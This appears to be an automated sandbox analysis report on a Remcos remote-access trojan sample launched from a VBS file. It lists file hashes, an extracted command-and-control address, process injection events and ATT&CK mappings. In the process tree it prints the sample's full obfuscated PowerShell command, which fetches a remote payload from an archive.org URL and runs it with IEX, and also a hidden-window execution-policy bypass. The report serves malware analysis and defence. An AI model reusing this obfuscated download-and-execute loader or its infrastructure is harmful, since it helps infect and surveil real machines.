remcos | 6fdcc4b886c1ddcd5a76bfb4f8c79cf39f7c3c3fbe08cee92fa5a8eeafc57e43

General

Target

Appraisa.vbs
Size

662B
MD5

2e95d045ff86903502b52f5fd0976aad
SHA1

c74e479ff249f1e8c248b8a67e318a61b1f1d5e4
SHA256

dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0
SHA512

0427fa613d91d41c98dfb7d9a964c74857813959f427eb060a1a39c2cf289235aaa0aec6015cea8d7bd16da1e14bae3ba88c998780d33ea6faf9d0b8102264df

Score

10^/10

remcos rat

Malware Config

Extracted

Family

remcos

C2

194.5.97.183:8888

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

6 2028 powershell.exe
8 2028 powershell.exe
10 2028 powershell.exe
12 2028 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1836 set thread context of 968 1836 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2028 powershell.exe
2028 powershell.exe
1836 powershell.exe
1836 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2028 powershell.exe
Token: SeDebugPrivilege 1836 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

968 aspnet_compiler.exe

flow	pid	process
6	2028	powershell.exe
8	2028	powershell.exe
10	2028	powershell.exe
12	2028	powershell.exe

description	pid	process	target process
PID 1836 set thread context of 968	1836	powershell.exe	aspnet_compiler.exe

pid	process
2028	powershell.exe
2028	powershell.exe
1836	powershell.exe
1836	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe

pid	process
968	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1768 wrote to memory of 2028	1768	WScript.exe	powershell.exe
PID 1768 wrote to memory of 2028	1768	WScript.exe	powershell.exe
PID 1768 wrote to memory of 2028	1768	WScript.exe	powershell.exe
PID 2028 wrote to memory of 1836	2028	powershell.exe	powershell.exe
PID 2028 wrote to memory of 1836	2028	powershell.exe	powershell.exe
PID 2028 wrote to memory of 1836	2028	powershell.exe	powershell.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe
PID 1836 wrote to memory of 968	1836	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisa.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v0 ='N#t.@@#b'.Replace('#','e').Replace('@@','w');$v00 = '%li!!'.Replace('%','C').Replace('!!','ent');$V000 = 'D$$$$$$$$$$$n%%%%%%%%%%%%ng'.Replace('%%%%%%%%%%%%','loadStri').Replace('$$$$$$$$$$$','ow');$v1 = '$e^'.replace('$','I').replace('^','x');$v9999 = '(Ne`W&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&00(''https://ia601509.us.archive.org/35/items/all_20210420_20210420_1440/ALL.TXT'')'.Replace('&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&','-O`BjEcT $v0$v00 ).$V0');$TC=I`E`X ($v9999 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1836

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:968

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
ed1368a4d6a09fe8b0e905ac7a8b5af5

SHA1
faeae903b58190fd505795f71f048199cdef2963

SHA256
7223c9ee5c8a0db256550cd8f31e5364b04fa83d82abc0ad0a8a1d2a67bc9c99

SHA512
9e25ae219cf4398b3bb156d21b9aaa19ae4c215a9d94ee4e2406b3360415b5fb9945a4d920adfe165a7d59d810ac301ab6f6a6e8b71b886190367176c18a36ba

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
9ff13fe6fddf1299999100e5350227ac

SHA1
c591dc9238d5e8442a83a79f2d5b20e3c2b4c19f

SHA256
ebd5dfc01e5e7f7e5d493b1cbb4fa21c1b3c0d4c26c67fb103f841ff9053f9ac

SHA512
aa64f541501719284e1ef621ff1bb43e8fecd32e887e0e5ecd0bfb6b9bcced369bd0251f5717024875f22a36d69908b9841653f9524cbace088cb21ffe816285

Download Submit
C:\Users\Public\ Microsoft.ps1
MD5
eda0264cc0baa7804ce2a32a99aa9b98

SHA1
274b4d04e802370cac624649ea30149dded4e053

SHA256
950cc79c3173d2a1ad76a7b8e64c9100ca929caf0201396758380ff2d712680f

SHA512
43f6dd07e297c157f54147aa34512b4812f2650f990865c81181e14d379bf12352fcc3c2d20fbfb535d8bf2a3b5ebc7ab6aa0cd47ab498f0d1f5818e41bf9a74

Download Submit
memory/968-87-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/968-86-0x0000000075D11000-0x0000000075D13000-memory.dmp

Filesize
8KB

Download
memory/968-85-0x000000000042EEEF-mapping.dmp

Download
memory/968-84-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1768-60-0x000007FEFC251000-0x000007FEFC253000-memory.dmp

Filesize
8KB

Download
memory/1836-71-0x0000000000000000-mapping.dmp

Download
memory/1836-77-0x000000001AEE0000-0x000000001AEE2000-memory.dmp

Filesize
8KB

Download
memory/1836-78-0x000000001AEE4000-0x000000001AEE6000-memory.dmp

Filesize
8KB

Download
memory/1836-83-0x0000000002570000-0x0000000002588000-memory.dmp

Filesize
96KB

Download
memory/2028-70-0x000000001C6C0000-0x000000001C6C1000-memory.dmp

Filesize
4KB

Download
memory/2028-69-0x000000001C3B0000-0x000000001C3B1000-memory.dmp

Filesize
4KB

Download
memory/2028-68-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/2028-67-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/2028-66-0x000000001AA14000-0x000000001AA16000-memory.dmp

Filesize
8KB

Download
memory/2028-65-0x000000001AA10000-0x000000001AA12000-memory.dmp

Filesize
8KB

Download
memory/2028-64-0x000000001AA90000-0x000000001AA91000-memory.dmp

Filesize
4KB

Download
memory/2028-63-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/2028-61-0x0000000000000000-mapping.dmp

Download

Analysis

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